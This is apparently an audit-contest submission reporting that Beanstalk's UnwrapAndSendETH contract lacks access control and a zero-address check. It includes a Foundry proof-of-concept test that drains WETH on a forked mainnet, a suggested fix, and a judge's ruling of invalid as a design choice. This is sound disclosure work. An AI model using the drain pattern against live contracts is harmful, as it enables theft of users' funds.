DeFiHardhatOracleProxyUpdates
100,000 USDC
View results
Submission Details
Severity: low
Invalid

Attacker can steal all funds from UnwrapAndSendETH contract

Vulnerability Details

The contract UnwrapAndSendETH contains 2 critical issues:

It doesn't have access control. Anyone can call it and withdraw all the WETH from the contract. i.e. An attacker can monitor the mempool and check when this contract will receive any WETH/ETH, once this is done the bot can call the unwrapAndSendETH function and withdraw all the ETH balance from the contract.

The function doesn't validate the to address, if the address is an invalid zero address, funds will be lost.

Even though this contract can be used by the "Pipeline" from Beanstalk, it will depend totally on the Frontend/consumer logic to avoid customer losses either when a transaction is first done to load the contract with WETH or the recipient address is zero.

Impact

Any ETH/WETH sent to this contract will be completely lost. Drained by the attacker.

If the frontend/user passes an invalid address, funds will be burned/lost.

PoC

  1. Prepare the environment to work with Foundry + Updated Mocks
    https://gist.github.com/h0lydev/fcdb00c797adfdf8e4816031e095fd6c

  2. To avoid compilation errors, UnwrapAndSendETH should use the solidity version pragma solidity 0.7.6;.

  3. Make sure to have the mainnet forked through Anvil: anvil --fork-url https://rpc.ankr.com/eth

  4. Create the UnwrapAndSendETH.t.sol file under the folder foundry and paste the code below. Then run forge test --match-contract UnwrapAndSendETHTest -vv.

pragma solidity =0.7.6;
pragma abicoder v2;
import "./utils/TestHelper.sol";
import "contracts/pipeline/junctions/UnwrapAndSendETH.sol";
import "contracts/C.sol";
import "forge-std/StdCheats.sol";
contract UnwrapAndSendETHTest is TestHelper {
UnwrapAndSendETH unwrapAndSendETH;
function setUp() public {
setupDiamond();
vm.createSelectFork('local');
unwrapAndSendETH = new UnwrapAndSendETH(C.WETH);
}
function testUnwrapAndSendETH_whenReceiveEther_attackerWillStealFunds() public {
// Fund UnwrapAndSendETH with 10 WETH
address pipeline = user1;
deal(C.WETH, address(unwrapAndSendETH), 10 ether);
// Then attacker steals all the funds
vm.prank(user2);
unwrapAndSendETH.unwrapAndSendETH(user2);
// When pipeline tries to send funds to the legit user
// it will fail because the funds were stolen
vm.expectRevert("Insufficient WETH");
vm.prank(pipeline);
unwrapAndSendETH.unwrapAndSendETH(pipeline);
// attacker has 10 ether
assertEq(address(user2).balance, 10 ether);
// contract has 0 ETH/WETH
assertEq(IWETH(C.WETH).balanceOf(address(unwrapAndSendETH)), 0 ether);
assertEq(address(unwrapAndSendETH).balance, 0);
// pipeline has 0 ether
assertEq(address(pipeline).balance, 0);
}
function testUnwrapAndSendETH_whenRecipientIsAddressZero_fundsAreBurned() public {
// Fund UnwrapAndSendETH with 10 WETH
address pipeline = user1;
deal(C.WETH, address(unwrapAndSendETH), 10 ether);
// Due to falty logic and not having a check for address zero
// the funds are burned and lost forever
vm.prank(pipeline);
unwrapAndSendETH.unwrapAndSendETH(address(0));
// funds are burned
assertEq(IWETH(C.WETH).balanceOf(address(unwrapAndSendETH)), 0);
assertEq(address(unwrapAndSendETH).balance, 0);
}
}

Output:
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 26.19s

Tools Used

Manual Review & Foundry

Recommendations

Add access control by adding the onlyOwner modifier from OZ(Ownable2Step). https://docs.openzeppelin.com/contracts/4.x/api/access

Check whether the address is valid

+ import {Ownable2Step} from "@openzeppelin/contracts/access/Ownable2Step.sol";
....
- contract UnwrapAndSendETH
+ contract UnwrapAndSendETH is Ownable2Step {
....
- function unwrapAndSendETH(address to) external
+ function unwrapAndSendETH(address to) external onlyOwner {
+ require(to != address(0), "Invalid Address");

(Additional) consider adding a function to withdraw only ether in case any ether is sent accidentally to this contract.

Updates

Lead Judging Commences

giovannidisiena Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Pipeline access control

Informational/Invalid

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.